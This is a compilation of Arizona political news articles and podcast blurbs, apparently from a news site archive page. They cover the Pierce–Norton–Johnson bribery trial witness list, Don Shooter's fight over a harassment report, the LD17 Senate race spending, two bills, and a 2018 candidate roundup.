The Burnses and Bennett are among 82 prospective witnesses who may be called to testify at the trial scheduled to begin May 30. The Pierces, Jim Norton and Johnson Utilities owner George Johnson face charges of felony conspiracy, bribery, mail fraud and five counts of wire fraud.

They have pleaded not guilty.

The witness list, jury questions and written motions signal a narrative that includes a wealthy businessman who throws his weight around, an extra-marital affair and the subsequent bitter end of a partnership – both in love and allegedly illegal business dealings.

Barry Aarons, who has lobbied at the Legislature for 40 years, said the public is in for a bad impression of Arizona politics no matter the outcome of the trial.

“It reinforces that sense people have that the whole thing is corrupt,” said Aarons, who is not on the witness list.

“It’s kind of like when you pull a string on a woven garment – it just starts to fall apart.”

But the question is what ramifications the case holds for the political community, and to Aarons, the answer is that life will go on for most people.

He pointed to the recent ouster of former Rep. Don Shooter after a revealing investigation into allegations he had sexually harassed women at the Capitol for years.

Aarons said that has made him think twice about what or how he says something to ensure it’s not taken the wrong way.

But the case against the Pierces and Norton has not had the same effect. He has not changed how he does business, nor does he believe it has changed how others in the lobbying world conduct themselves.

“But when you get to the next level, there’s a cynicism out there that is validated by this,” Aarons said, adding that some might say “these guys were skimming money. But for $30,000? Really? That’s like seeing a quarter on the ground and looking both ways before you pick it up.”

According to the witness list, that “next level” includes a sitting congressman, former elected officials and current candidates for office, bureaucrats and others in the political inner circle.

The part some people on the witness list may play is more obvious than others.

Bennett said he was told he may not be called to “reinforce the idea that Sherry (Pierce) has been very active in political things” because there are others who know her far better.

One of those might be former Congressman Matt Salmon, now Arizona State University’s vice president for governmental affairs.

Salmon, a potential witness for the defense, declined to discuss the case with the Arizona Capitol Times, but pointed out that Sherry Pierce worked for him for four years while he served in Congress.

She’s also worked for Congressman Andy Biggs, who is also a potential witness for the defense.

Perhaps they would be able to offer a more holistic picture of Sherry Pierce and her personal knowledge of Arizona’s political scene as prosecutors allege she served little to no real purpose at a consulting firm established by the Nortons.

The indictment alleged that the Pierces received $31,500 unlawfully through the consulting firm directed by Jim Norton, but ultimately from Johnson, in exchange for Gary Pierce’s “favorable and unlawful actions on matters before the ACC.”

The purpose of other potential witnesses is not quite as clear.

Don Shooter, for example, is listed as a witness for the defense. But nothing so far raised in the case indicates what part the expelled lawmaker may play.

Bob Burns (Photo by Howard Fischer, Capitol Media Services)
Bob Burns (Photo by Howard Fischer, Capitol Media Services)

And Bob Burns’ role remains unclear, even though his wife’s is more certain. According to a summary and partial transcript of Gayle Burns’ interview with investigators, Kelly Norton revealed to her the early stages of the alleged bribery scheme.

Bob Burns has declined to share what he told the FBI about the case, but he has publicly acknowledged that he too was interviewed by investigators.

Burns is the only sitting commissioner on the witness list. Former commissioners Doug Little and Bob Stump are listed among the defense’s potential witnesses, and former commissioners Brenda Burns – no relation to Bob Burns – Sandra Kennedy and Kris Mayes are listed for the government; all served terms at the Corporation Commission that overlapped with Gary Pierce’s tenure.

What they might have to say has yet to be revealed.

But battles over limiting the scope of evidence presented to the jury has been more revealing.

Judge John Tuchi of U.S. District Court in Arizona is going to allow the jury to hear Gayle Burns’ testimony after Sherry Pierce’s attorney, Ashley Adams, tried to argue her statements would merely be hearsay.

And they’ll see which elected officials Johnson has given money to over the years.

His attorney, Woody Thompson, argued unsuccessfully that his political campaign contributions would be offered as evidence for nothing more than to make the “false inference” that the businessman has engaged in “inappropriate” behavior elsewhere in his career.

This is not the first time Johnson has been involved in what appears to be a shady arrangement.

Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.
Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.

For years, Johnson Utilities customers in Pinal County have alleged abuses of power and overbilling among a plethora of complaints.

Tuchi is not going to allow the customer complaints or the investigations into Johnson’s company by other agencies to be heard.

At least one prospective witness has received money from Johnson, according to OpenSecrets.org’s donor database.

In 2009, Johnson gave $1,000 to Rep. Rusty Bowers, R-Mesa, who is on the witness list for the defense.

Aarons said he doesn’t know Johnson beyond what everyone has heard come out of Pinal County from angry customers and salacious headlines.

But he’s known the Pierces and Nortons for years, and for what it’s worth, he doesn’t believe they would have knowingly broken the law.

That confidence in their characters extended to Kelly Norton, he said, even though she was the government’s key to learning of the alleged scheme.

According to motions filed by the defense, Kelly Norton told investigators about the scheme in March 2017 during an interview regarding a “related investigation.”

All along, prosecutors have speculated that the defense will seek to discredit her actions on the basis that she was punishing Jim Norton, her ex.

According to Gayle Burns, Kelly Norton confided in her about an affair Jim Norton had while they were still married.

And the defense has argued she sought to “get revenge on her husband.”

The defense’s case may very well hinge on calling Kelly Norton’s motivations into question, so much so that the Nortons’ separation made it into the jury questionnaire in an attempt to divine any ill will toward divorce and adultery.

“Do you believe that someone who has an affair is a bad person?” prospective jurors will be asked.

Tuchi did, however, exclude a more existential follow-up to that: “Do you believe that sometimes people just fall out of love?”

Guilty or not, the damage is done.

“That’s the cynicism of the people,” Aarons said.

For about $30,000, so much has been called into question.

Attorneys for legal team fight to keep documents related to sex harassment probe secret

Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix.
Don Shooter testifies during a hearing, June 14, 2018, in Judge Rosa Mroz’s Maricopa County Superior Courtroom, Phoenix.

The attorneys who handled the sex harassment investigation that resulted in the ouster of Rep. Don Shooter are balking at his bid to get the full report and all the documents used to prepare it.

Letters obtained by Capitol Media Services show Gregory Falls, who represents the legal team that prepared the investigative report, contends anything that hasn’t already been made public is not subject to disclosure. Falls contends that the documents Shooter wants are protected, whether by attorney-client privilege with the House of Representatives that hired his law firm, or by the idea that the papers represent “work product.”

But Falls said there are other reasons to keep Shooter and his attorney, Kraig Marton, from getting their hands on the documents.

He is accusing Shooter of going on a “fishing expedition” to get information that goes far beyond what the former Yuma lawmaker says he needs to defend himself in a civil lawsuit filed against him by Rep. Michelle Ugenti-Rita. She is one of his alleged victims cited in the investigative report that eventually resulted in the House vote in January to eject him.

There is some basis for that claim that what Shooter wants is designed, at least in part, to clear his name as he seeks to reenter politics with a bid this year for the state Senate.

Shooter told Capitol Media Services he believes House Speaker J.D. Mesnard gave other House members “only a partial and modified version” of the report, the one they used in his ouster. He said Mesnard, who has refused to comment, “removed exculpatory evidence and took out derogatory evidence about my accusers.”

And Shooter said release of the full report and all the notes and documents made in preparing it will paint quite a different pictures.

“I think there’s going to be a tremendous amount of information that will damage the credibility of my accuser and, in addition, will bolster my view of the facts,” he said.

It ultimately will be up to Maricopa County Superior Court Judge Bruce Cohen if Shooter gets what he has demanded and, by extension, the public also gets a look.

House Speaker J.D. Mesnard sought an investigation late last year after Ugenti-Rita and others made accusations of unwanted harassment by Shooter. Shooter, in turn, claimed that Ugenti-Rita had acted improperly in actions with others.

The report provided to lawmakers by Craig Morgan, who is at the same firm as Falls, concluded there was “credible evidence” Shooter had violated the House policy on sexual harassment, a policy that Shooter said was not enacted until after the allegations against him were made. He was ejected by colleagues in January on a 56-3 vote.

That same report said that former House staffer Brian Townsend, to whom Ugenti-Rita was engaged, sent “unsolicited, sexually explicit communications” to someone else who was not identified. But it exonerated Ugenti-Rita of any wrongdoing.

In June, Ugenti-Rita filed a civil lawsuit against Shooter, charging him with slander, libel, battery and negligence. Shooter, in turn, has filed a counterclaim accusing Ugenti-Rita of defamation.

Marton, as Shooter’s attorney, said that opens the door for him to subpoena the full report and all the related documents, all records he says are necessary for Shooter to defend himself.

Falls disagrees, saying Shooter is free to seek out the information he needs — elsewhere.

“In other words, Shooter can do his own discovery or ‘investigation’ if he chooses,” Falls wrote.

Then there are the legal issues.

Falls said Arizona law protects communications between any government employee and an attorney for a governmental entity if it is designed to provide legal advice or even just to obtain information to provide legal advice. What all that means, he wrote, is that statements by members and employees of the House to Morgan and his legal team are privileged from disclosure.

Then there’s the issue of whether the documents Shooter wants are actually about his ability to defend himself in the lawsuit filed by Ugenti-Rita.

“Shooter has made it very clear, in a very public manner, that he is using the lawsuit and the subpoenas as a catalyst for a fishing expedition in matters unrelated to the lawsuit,” Falls wrote to Marton, citing statements Shooter made, after Ugenti-Rita filed her lawsuit, that it would provide him a means to unearth what is in the report.

And Falls is blasting Shooter and Marton for making public the subpoenas in the first place.

“Suffice it to say that we were disappointed to have learned about the subpoenas — not with an advance telephone call in the spirit of good faith cooperation — but from a reporter seeking comment from investigative counsel about subpoenas they had not yet seen or even knew existed,” Falls wrote. He also is accusing Shooter of inserting “public pageantry … into this process.”

Shooter said he’s surprised that Falls, who ultimately is acting on behalf of Mesnard and the House are fighting the release.

He said the speaker said he would release the full report if subpoenaed. Instead, Shooter said, Mesnard is running up new legal bills in his bid to keep the document secret, above and beyond the more than $200,000 spent on the report.

Mesnard, however, said he had agreed to the release — but only to any law enforcement, and only on a subpoena or pursuant to a court order. The speaker said he wants to protect the identity of some victims and others whose names have not become public.

“The subpoena that’s connected to Shooter is an entirely different issue,” he said.

Behind the Ballot: Show me the money

 

With law enforcement and seized weapons in the background, Gov. Doug Ducey on Wednesday details for invited media -- and campaign photographers -- the success of the Border Strike Force. (Capitol Media Services photo by Howard Fischer)
With law enforcement and seized weapons in the background, Gov. Doug Ducey on Wednesday details for invited media — and campaign photographers — the success of the Border Strike Force. (Capitol Media Services photo by Howard Fischer)

It’s campaign season again – surprise – and that means there’s a slew of candidates hitting the pavement for campaign contributions.

But not everyone has been entirely honest about how they came to be on the campaign trail this year, and an alarmingly high number of signatures gathered by some candidates don’t even seem to be legit.

Meanwhile, some of the higher ticket offices hold no surprises for politicos as at least one incumbent appears to be cruising toward victory – at least as far as his finances are concerned.

Don’t forget to subscribe to The Breakdown on iTunes.

[divider]

Music in this episode included “Creative Minds,” “Funky Element” and “Energy” by Bensound.

Behind the Ballot: The comeback kids?

 

Charles Loftus, Don Shooter and Tim Jeffries
Charles Loftus, Don Shooter and Tim Jeffries

Three men running for the state legislature are seeking much more than your votes – they want retribution.

Tim Jeffries and Charles Loftus are already suing the state to clear their names after being removed from the Arizona Department of Economic Security. And Don Shooter is contemplating a suit of his own after departing the Arizona House of Representatives in disgrace, expelled by the vast majority of his colleagues.

These candidates insist their cases against the state will have no impact on their capacity to serve as elected officials, and they’re confident their histories with the current powers that be won’t be enough to deter voters.

Don’t forget to subscribe to The Breakdown on iTunes.

[divider]

Music in this episode included “Little Idea,” “Funky Element” and “Energy” by Bensound.

 

Behind the Ballot: Toxic

 

toxicArizona is no stranger to legislative candidates with baggage, but this election cycle stands out for the number of candidates, namely Republicans, who are seeking office despite their tarnished reputations.

Candidates like Don Shooter who was expelled from the state House just this year and Representative David Stringer who made comments widely condemned as racist want a second chance.

And in a year when promises of a blue wave were already being made, Democrats are practically salivating at the chance to flip the seats these toxic candidates seek.

Don’t forget to subscribe to The Breakdown on iTunes and Stitcher.

[divider]

Music in this episode included “Creative Minds,” “Funky Element” and “Energy” by Bensound.

Big bucks, negative ads besiege LD17 Senate race

close up of Benjamin Franklin on a hundred dollar bill
close up of Benjamin Franklin on a hundred dollar bill

Four years after Democrat Jennifer Pawlik was told she wasn’t a viable candidate in the Chandler-based Legislative District 17, and two years after she won a House seat, the road to control of the state Senate runs through the Southeast Valley.

And at this point, that road might as well be paved with gold.

With just over two weeks to go before the election, incumbent Republican Sen. J.D. Mesnard, Democratic challenger Ajlan Kurdoglu and outside groups have already spent a combined $1.7 million, most of that from deep-pocketed national Democratic organizations intent on flipping the Arizona Legislature.

In LD17, registered Republicans still outnumber Democrats by about 9,500. But Democrats have made significant gains in the district in the past four years – about 10,000 new Democrats registered between 2016 and 2020, compared to just under 4,000 new Republicans. 

Independent voters who supported Mesnard and Republican Rep. Jeff Weninger when they defeated Pawlik in 2016 clearly broke for her in 2018. A general suburban shift from the Republican Party caused by distaste for President Donald Trump, and an influx of transplants drawn to the Southeast Valley by a booming tech sector have made the district a reachable goal for Democrats. 

“LD17, just like our state is changing,” Kurdoglu said. “Our priorities are changing. Frankly, the only thing that is not changing is the stale approach of our current state senator.”

Ajlan Kurdoglu
Ajlan Kurdoglu

In Kurdoglu, who party leaders recruited to run against Mesnard, Democrats found a fresh-faced, enthusiastic candidate who draws on his own experience as a Turkish immigrant to describe the American dream he found in Arizona and how he wants to make that dream a reality for would-be constituents. 

This is Kurdoglu’s first campaign, against a formidable incumbent who has spent almost his entire adult life drafting state policy. Mesnard is counting on his decade of experience in state office to be a selling point for voters during an unprecedented health and economic crisis. 

“You have someone in office now, whether you agree with him on every issue or not, who knows the stuff, who has the experience,” Mesnard said. “We can’t afford the learning curve of someone brand new, who’s never served in any capacity in public service, and is now going to step into one of the biggest challenges of our lifetime.” 

Mesnard, 40, showed up at the Senate almost two decades ago for a research internship and has basically never left the Capitol since, going on to spend eight years as a Senate Republican policy adviser before he resigned to run for an open seat in the House in 2010.

He served eight years in the House, the final two as speaker, before winning a Senate seat in 2018. His roots in the Senate basement showed in the 27-page blueprint he drew up as his campaign for speaker, and in the way he spent last summer drawing up an intricate property tax cut plan that looked like it would move forward before COVID-19 wrecked the state’s budget plans.

Mesnard’s tenure as House speaker was marked by a #MeToo-era reckoning that led him to launch an investigation into several representatives and ultimately lead the call to expel then-Rep. Don Shooter, R-Yuma — a historic vote Mesnard now features in some campaign ads. He also presided over the chamber during 2018’s massive “Red for Ed” protests, and ended up carrying legislation to raise teacher salaries by 20% over three years. 

The main story of his two years in the Senate, meanwhile, has been perpetual conflict with Senate President Karen Fann, R-Prescott. Fann narrowly beat Mesnard for the Senate presidency in 2018. Relations between the two have remained frosty, as Mesnard and other conservative lawmakers were stymied in their attempts to pass a different tax cut package in 2019 and prevent the Legislature from adjourning this year. In 2019, he was the sole Republican to vote against the state’s budget because he disliked the tax cut package it contained.

This year, Mesnard also sponsored and passed the bill that has become one of the biggest triggers of attack ads against Republican incumbents – a bill supported by 89 of Arizona’s 90 lawmakers that states that insurance companies in the state cannot deny coverage to people with pre-existing conditions if the Supreme Court rules the Affordable Care Act is unconstitutional. 

The new state law lacks the interlocking protections of the Affordable Care Act that were designed to prevent insurance companies from charging patients with pre-existing conditions more or refusing to pay for medical care they need, leading Democratic PACs to use the bill to hammer vulnerable Republican incumbents as bad for health care. 

J.D. Mesnard
J.D. Mesnard

Independent liberal organizations have spent nearly $1 million to attack Mesnard, while GOP organizations have spent just about $400,000 to help him. More than $500,000 of the anti-Mesnard spending appeared in the past week, on top of about $160,000 spent the previous week. 

“Pouring in $160,000 in a single week into a legislative race, even a state Senate race, that is a lot of money,” Mesnard said. “You’ve never seen anything like that before. So that can make a difference, mostly by bringing up my negatives and tearing me down. It’s not really helping the other guy so much as it’s just hurting me.”

Even hardcore Republicans in the district have been targeted by push polls suggesting Mesnard is part of a crime syndicate and wants to forcibly sterilize transgender people. (The sterilization charge stems from the involvement of one of his employers, the conservative legal outfit Alliance Defending Freedom, in a European human rights case over whether countries could require transgender people who wished to change the sex designations on their birth certificates to first undergo sexual reassignment surgery; Mesnard said he still doesn’t know what crime syndicate he allegedly belongs to and that charge has not been repeated in other attacks.) 

A million dollars goes a long way in a district with about 150,000 voters, and voters and candidates have been inundated with internet ads. Mesnard, a self-described Trekkie who keeps a Star Trek channel on streaming in the background while he works from home, said nearly every commercial break now brings at least one ad bashing him.

He said he remains optimistic about his chances of returning to the Senate. 

“I think it could go either way, but I feel like on the whole, I have more working in my favor than against me,” Mesnard said. “I feel like I’m gonna win and we’re working hard, but I also acknowledge that I don’t know how much they’re gonna spend to get through this race. I mean, they seem to have unlimited funds.”

Kurdoglu, likewise, said he is confident that he’ll be sworn into the Senate in January.  

Republican independent expenditure groups, led by a political action committee affiliated with Gov. Doug Ducey, have worked to paint Kurdoglu and other Democrats running this cycle as too far-left for Arizona. 

“I brush it off,” he said. “My life story is out there. What I want to do is out there. I explain everything as much as I can.” 

Around the same time Mesnard was starting a legislative internship, Kurdoglu arrived in Glendale to begin master’s courses at the Thunderbird School of Global Management. He fell in love with the state and decided to stay, eventually starting retail furniture stores and becoming a naturalized citizen. 

Those early years as an immigrant building a life and business from scratch left Kurdoglu with an unfailing sense of optimism, leaving him confident that he and fellow Democrats will be able to pass legislation to improve health care and education in the state with bipartisan support and a signature from Republican Gov. Doug Ducey.

“I’m sure if we really put partisan politics, gamesmanship as they call it, aside, and we put our heads together, we can find a way to make that happen,” he said. “Come on, this is the United States of America, the biggest country on Earth, so we should be able to solve these problems.” 

 

 

Bill proposes to outlaw public disclosure of sex photos from harassment probe

Rep. Kelly Townsend (R-Mesa)
Rep. Kelly Townsend (R-Mesa)

Rep. Kelly Townsend, R-Mesa, introduced legislation today that would prevent any sexual photos related to a House of Representatives’ investigation into sexual harassment from becoming public.

HB2544 states that if any member of the Legislature is involved in a sexual harassment investigation that includes “photographs of a sexual nature” of a member or staffer, the “explicit content” of the photo has to be redacted and the privacy of the member or staffer must be protected.

Additionally, the bill says the viewing of the photos must be limited to an “independent investigating attorney or other independent investigator of the sexual harassment claim.”

The bill also says a staffer or member with whom the person in the photo comes into contact with at the Legislature may not view the unredacted photograph.

Townsend declined to comment on the purpose of the bill or her reason for introducing the legislation, citing legal reasons.

“What I would want to say is that the bill speaks for itself,” she said. “I wouldn’t have dropped the bill if it wasn’t needed.”

The bill was introduced days after former Rep. Don Shooter sent a letter to colleagues on Feb. 1 in which he referenced a staffer who was subjected to her elected boss’s exposed genitals. Shooter did not specify if she was exposed to it via a photograph.

Shooter was expelled from the House after a sexual harassment investigation found that he violated a sexual harassment policy and created a hostile working environment at the Capitol.

The investigation began after Rep. Michelle Ugenti-Rita, R-Scottsdale, named Shooter as one of the men in the legislature who had harassed her. Shooter countered Ugenti-Rita’s claims with allegations of his own, saying she was upset with him because he was critical of her for having a “very public affair” with a staffer.

Though the investigation did not find evidence that Ugenti-Rita violated the House harassment policy, it found that Brian Townsend, a former House staffer who last worked as policy director in 2015, shared “unsolicited, sexually explicit communications” in a manner Townsend said was intended to “hurt and humiliate” Ugenti-Rita, to whom he is now engaged.

News outlets, including the Arizona Capitol Times, have filed records requests seeking any documents used in the course of the Shooter investigation.

First Amendment Attorney Dan Barr said state public records laws already include a clause that can exempt photographs or other records from being made public if it can be proven that they are confidential or against the best interest of the state.

“Here, what I understand the photos to be, is you have a legislator who is not conducting public business at the time and so I would think there is a decent argument to withhold that photo,” he said. “The whole point of public records law is to evaluate the conduct of public officials. In this instance concerning the investigation into Ms. Ugenti-Rita and whatever the charges are against her, there would be a good argument that there was no state business and that such records could be withheld.”

He said he found the bill problematic because it’s too broad. He added that if explicit photos were taken in the House or other government building, the case could be made that the photos are public records.

Bill requires lawmakers to live in districts they serve

Rep. Bob Thorpe wants to ensure candidates for the Arizona Legislature are established residents of the districts they hope to serve.

By some measure, that’s already a requirement. The state Constitution requires legislators to have been residents of the county they represent for at least one year prior to their election, in addition to the requirement that they be an Arizona resident for at least three years prior.

That’s not sufficient for Thorpe, a Flagstaff Republican, who said that residency challenges are a common theme in election season.

Those challenges aren’t always upheld, as residency can often boil down to the place someone calls their home, even if it’s not somewhere they physically stay. Such was the case in 2013, when Carlyle Begay, by most accounts a longstanding resident of Gilbert, was appointed to serve as a senator in Legislative District 7 in northern Arizona.

“It’s a little bit about state of mind,” elections attorney Timothy La Sota said of Arizona’s residency requirements at the time. “But there are still objective criteria used to determine residency.”

In addition to the county-residency requirement in the Constitution, state statute requires candidates to be a resident of the specific legislative district they want to represent when they file to run for office. Thorpe wants to beef up that benchmark by requiring would-be lawmakers to reside in the district for the majority of a year prior to filing as a candidate.

Just claiming a place as home wouldn’t do.

An amendment adopted to HB2269 by the Senate Appropriations Committee on Tuesday would require candidates to be “physically domiciled” – that is, actually living within the district – for at least three-fourths of the year prior to running for office.

Thorpe cited a recent residency challenge against former lawmaker Don Shooter, whose political opponent argued should be disqualified from running for office in LD13.

The challenger alleged that Shooter spent most of his time living in Phoenix’s Biltmore area with his wife, Susan, not at the rental apartment in Yuma that he claimed as his residence. The allegation was nothing new for Shooter, whose residency had been questioned for years during his tenure at the Legislature.

During the trial, Shooter acknowledged that, in the months since he was ousted from office in February 2018 and chose to run again in June, he had spent about two-thirds of his time at the Biltmore area home. Nor had his wife visited Shooter’s rental property in Yuma, where the electricity bills hadn’t been paid in months. But Shooter argued that it was always his intent to return to Yuma, and the judge ruled in his favor.

“What is the point of somebody representing a legislative district if they don’t physically live in that legislative district?” Thorpe said in committee.

Democrats voted against Thorpe’s measure, arguing that the current law is sufficient but needs to be better enforced. But their primary concern focused on how incumbent lawmakers would be impacted by the legal change during redistricting, the process of redrawing the state’s legislative and congressional district maps once a decade.

Sen. Sean Bowie, D-Phoenix, said there won’t be enough time between when the new district boundaries are announced in late 2021 for lawmakers to establish residency and file to run the following spring in another district if they’re bounced from the district they currently represent.

It’s not uncommon for districts lines to be drawn in a manner that purposely excludes an incumbent from their district, Bowie argued.

During the last round of redistricting in 2011, several lawmakers were forced to move to re-establish residency and run for re-election. Then Sen. Olivia Cajero Bedford, a Tucson Democrat, represented LD27 before redistricting, but moved to run in LD3. Former Rep. Tom Forese, a Gilbert Republican, moved from LD21 to remain in what became LD17.

Sen. Lisa Otondo, D-Yuma, noted that her hometown was split in half during redistricting nearly a decade ago.

“All of a sudden, you could cross the street and you’re in LD13 or LD4,” Otondo said. “Do you really believe that [when] you live on one side of the street, you don’t reflect the perspective of the people in Yuma as opposed to the other side of the street?”

Thorpe vowed to work with Democrats on an amendment to address the issue. The measure was approved 6-3 on party lines, however, as Republicans mostly brushed aside concerns that redistricting would impact sitting lawmakers.

Bribery case witness list includes elected officials past and present

Former utility regulator Gary Pierce rushes past reporters last year following his initial court appearance. (Capitol Media Services photo by Howard Fischer)
Former utility regulator Gary Pierce rushes past reporters last year following his initial court appearance. (Capitol Media Services photo by Howard Fischer)

The witness list for the bribery case against Gary and Sherry Pierce, Jim Norton and George Johnson reads like a roster of Arizona politics.

Former Arizona Corporation Commission officials, past and current legislators and candidates for elected office are among the 82 potential witnesses in the federal bribery case.

Former Commissioner Pierce, his wife Sherry, the lobbyist Norton and the owner of Johnson Utilities face charges of felony conspiracy, bribery, mail fraud and five counts of wire fraud. Each defendant pleaded not guilty to the charges in June. The trial is currently scheduled to begin on May 30, and a final pretrial conference is slated for May 14.

Among those listed as potential witnesses for the defense are former Secretary of State and Senate President Ken Bennett, who is now challenging Gov. Doug Ducey in the Republican primary for his office; Congressman Andy Biggs; Rep. Rusty Bowers, R-Mesa; former Congressman Matt Salmon; his former chief of staff Adam Deguire, who now works under him as Arizona State University’s associate vice president for economic development, advocacy and grassroots development; former Commissioner Doug Little; and former Commissioner Bob Stump.

Former Secretary of State and Senate President Ken Bennett said he was asked to be a character witness for Sherry Pierce. He said they’re not close, but he came to know her through her husband and their son, Justin Pierce, and through her involvement with a Mesa Republican women’s group.

“The gist of what I got from [her attorneys] was that they were hoping that I could help kind of reinforce the idea that Sherry’s been very active in political things and knows what she’s doing,” said Bennett, who is now challenging Gov. Doug Ducey in the Republican primary for his office.

Former Maricopa County sheriff candidate Dan Saban, who now runs a consulting firm that specializes in law enforcement and investigations issues, is also on the defendants’ witness list.

Saban declined to comment on why he’s on the witnesses list, but without elaborating further, said, “They’re one of my clients, and I can’t say anything.”

And Salmon, now ASU’s vice president for governmental affairs, declined to discuss the case. However, he did note that Sherry Pierce worked for him for four years while he served in Congress.

Sherry Pierce was placed on leave without pay from her position as deputy district director for Biggs’ office following her indictment.

Even Don Shooter, who was expelled from the House of Representatives in February, made the defendants’ list. He and others contacted by the Arizona Capitol Times other than Saban and Salmon did not return requests for comment.

Federal prosecutors will also call upon people familiar at the Corporation Commission, including former Commissioners Brenda Burns, Sandra Kennedy and Kris Mayes.

Thomas Broderick, the former director of utilities at the Commission, is expected to take the stand, too, after a long battle of motions between the parties.

Broderick was previously named as an expert witness for the government, and the defendants sought to strike his testimony, arguing it was “difficult to discern the precise nature of Mr. Broderick’s ‘expert’ analysis.”

He has not been the only witness criticized by the defendants.

Bob Burns explains why he was the lone vote against selecting Tom Forese as new chairman of the Arizona Corporation Commission (Capitol Media Services photo by Howard Fischer)
Bob Burns explains why he was the lone vote against selecting Tom Forese as new chairman of the Arizona Corporation Commission (Capitol Media Services photo by Howard Fischer)

Commissioner Bob Burns and his wife Gayle Burns are also on the witness list.

Their names did not come as a surprise, though, as defendants have also sought to preclude Gayle Burns’ testimony and attacked her husband’s credibility in several motions.

In March, Sherry Pierce’s attorney Ashley Adams filed a motion arguing Gayle Burns would be relying only on information she learned from Norton’s ex-wife, Kelly Norton, the previously unidentified, unindicted co-conspirator; she has since been named in several filings from the defense and is included on the witness list for prosecutors.

According to Adams’ motion, Kelly Norton revealed to Gayle Burns the early stages of the bribery scheme alleged in the indictment, which Norton said was set up because the Pierces needed the money.

The indictment alleged the defendants conspired for Johnson to pay the Pierces through the Nortons in exchange for Pierce’s favorable votes at the Corporation Commission. Pierce and his wife allegedly received $31,500 from Johnson.

In her motion to prevent Gayle Burns’ account from making it to court, Adams argued her testimony would only be offered to bolster Kelly Norton’s credibility, and it should be excluded because it is “substantially outweighed by a danger of unfair prejudice, confusing the issues, misleading the jury, undue delay, wasting time, or needlessly presenting cumulative evidence.”

“Kelli [sic] Norton herself can testify about the allegations in the indictment,” Adams wrote.

Prosecutors have pushed back on Adams’ position, arguing that the defense is jumping to conclusions about the extent of Gayle Burns’ knowledge.

As for Bob Burns, the defense has questioned his character instead, referring to him as a “rogue commissioner” who’s determined to “burn down the house” at the Commission.

Campaign season officially kicks off – let the games begin

It’s election season once more, and this cycle starts with a few curveballs.

May 30 marked the deadline for candidates to submit petitions to run for legislative, statewide and congressional offices. Unlike in previous election cycles, few legislative races are uncontested.

In addition to incumbents, a few familiar names popped up, including a surprise primary challenger for Gov. Doug Ducey, a bid by recently-expelled former Yuma Rep. Don Shooter to reclaim his old state Senate seat, and former House Speaker David Gowan, who was accused of misuse of state vehicles, likewise is running for the state Senate.

So, pop some popcorn and settle in for an entertaining election season.

U.S. Senate

Sen. Jeff Flake
Sen. Jeff Flake

The race to fill the U.S. Senate seat occupied by Jeff Flake, who is retiring, is expected to be the biggest contest in Arizona this year.

Republicans face a contentious primary with U.S. Rep. Martha McSally, former state Sen. Kelli Ward and former Maricopa County Sheriff Joe Arpaio duking it out in the primary.

Likely Democratic nominee U.S. Rep. Kyrsten Sinema also qualified for the ballot. She faces first-time political candidate Deedra Abboud, who is also a lawyer, in the primary.

Governor

Gov. Doug Ducey (Photo by Katie Campbell/Arizona Capitol Times)
Gov. Doug Ducey (Photo by Katie Campbell/Arizona Capitol Times)

State Sen. Steve Farley and educator David Garcia, who ran for superintendent of public instruction in 2014, will face off for the chance to take on Gov. Doug Ducey. Also on the Democratic primary ballot is Kelly Fryer, a first-time political candidate who is CEO of the YWCA of Southern Arizona.

But Ducey won’t get to coast to the general election. A last-minute addition to the governor’s race, former Secretary of State Ken Bennett gathered 7,828 signatures in about six weeks to qualify for the Republican primary.

Ducey’s campaign seems unfazed by the competition. “It would not be an election cycle without Ken Bennett on the ballot,” said J.P. Twist, Ducey’s campaign manager.

Ducey’s campaign war chest sits at $3 million on hand, which means Bennett, who is hoping to use Clean Elections funding, can’t compete financially. But Bennett, who came in fourth in the six-way Republican primary contest for governor in 2014, is undaunted by Ducey’s formidable cash advantage and is preparing to hit the governor on his record.

“Four years ago, he ran on a bunch of promises,” Bennett said. “Many of those promises turned out to be not true. We’re in this race because the truth matters.”

Secretary of State

Michele Reagan at her 2015 inauguration (Photo by Evan Wyloge/Arizona Center for Investigative Reporting)
Michele Reagan at her 2015 inauguration (Photo by Evan Wyloge/Arizona Center for Investigative Reporting)

In the secretary of state’s race, Republican Steve Gaynor takes on incumbent Michele Reagan. A wealthy businessman, Gaynor has vowed to self-fund his campaign to take out Reagan, who some Republicans fear may be vulnerable in the general election.  Democrats in the race are Sen. Katie Hobbs, Leslie Pico and Mark Robert Gordon.

 

Congress

Four Republicans and four Democrats are hoping to get their party’s nod for the congressional seat that McSally is vacating. This could be the most competitive congressional race, not only because of the open seat but because history shows the 2nd Congressional District is a true tossup district.

A similar situation exists in CD9, the seat occupied by Sinema, with three Republicans and two Democrats vying for the nominations. But that district leans slightly more Democrat in performance than southern Arizona’s CD2.

And in CD8, Republican Debbie Lesko, who just won a special election to replace Trent Franks, will have to defend her seat in the primary. Former Maricopa County School Superintendent Sandra Dowling, who pleaded guilty to a single misdemeanor to end felony bid-rigging charges years ago, wants to be the GOP nominee in the heavy Republican district. Democratic candidate Hiral Tipirneni, Lesko’s opponent in the special election, is also gunning for a second chance at the seat.

Arizona Senate 

LD6: Rep. Brenda Barton, R-Payson, who is termed out after serving eight years in the House, is looking to unseat her seatmate, Sen. Sylvia Allen, R-Snowflake. The Republican winner will face off against Democrat Wade Carlisle in the general election.

LD23: Tim Jeffries, who was fired as head of the Department of Economic Security, is running in a four-way GOP primary that includes Rep. Michelle Ugenti-Rita, R-Scottsdale, who is termed out of the House. Jeffries was ousted amid reports that he fired hundreds of state employees and used a state plane to travel to Nogales to drink with employees who gave up their job protections.

LD27: As Sen. Catherine Miranda, D-Phoenix, steps down to run for Congress against U.S. Rep. Ruben Gallego, her nephew, Cipriano Miranda, aims to keep the family name in the Legislature and has filed to run for the open seat, but so has House Minority Leader Rebecca Rios, D-Phoenix, who hopes to make the switch to the Senate.

LD28: Mark Syms, husband of Rep. Maria Syms, R-Paradise Valley, is challenging Sen. Kate Brophy McGee, R-Phoenix, in a move that could jeopardize the GOP’s hold on the critical swing district. Running as an independent, Mark Syms’ candidacy has some Republicans worried that his campaign will throw the race to Democratic candidate Christine Marsh. Mark Syms had jumped into the legislative race after Republican Kathy Petsas, who is viewed as holding more centrist views, filed to compete for a House seat.

LD30: House Reps. Tony Navarrete, D-Phoenix, and Ray Martinez, D-Phoenix, are facing off for the seat.

Arizona House

